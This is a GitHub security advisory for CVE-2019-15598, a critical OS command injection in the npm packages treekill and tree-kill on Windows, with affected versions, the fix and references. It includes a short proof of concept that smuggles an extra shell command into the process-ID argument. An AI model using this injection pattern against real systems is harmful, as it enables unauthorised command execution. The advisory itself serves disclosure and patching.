GitHub Advisoryadvisory · npm
GHSA-j7fq-p9q7-5wfv Treekill Enables OS Command Injection
CRITICAL
Official page ↗
- Aliases
- CVE-2019-15598
- Ecosystem
- npm
- Packages
- tree-kill
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-78
- Reviewed
- 2024-04-22
Affected packages
• npm tree-kill: < 1.2.2 → fixed in 1.2.2
Description
A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.
Steps To Reproduce:
Create the following PoC file:
```js
var kill = require('treekill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');
```
Execute the following commands in terminal:
```shell
npm i treekill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js # Run the PoC
dir # Now *HACKED.txt* exists :)
```
The HACKED.txt has been created
Related
Alias · CVE (1)
- CVE-2019-15598 A Code Injection exists in treekill on Windows which allows a remote code execution when an attacker is able to control the input into the… vulnerability
Weakness · CWE (1)
- CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness
References
- https://nvd.nist.gov/vuln/detail/CVE-2019-15598 advisory
- https://github.com/pkrumins/node-tree-kill/issues/30 web
- https://github.com/pkrumins/node-tree-kill/pull/31 web
- https://github.com/pkrumins/node-tree-kill/commit/ff73dbf144c4c2daa67799a50dfff59cd455c63c web
- https://hackerone.com/reports/701183 web
- https://hackerone.com/reports/703415 web
- https://github.com/node-modules/treekill/blob/master/index.js#L32 web
- https://github.com/pkrumins/node-tree-kill package
- https://security.snyk.io/vuln/SNYK-JS-TREEKILL-536781 web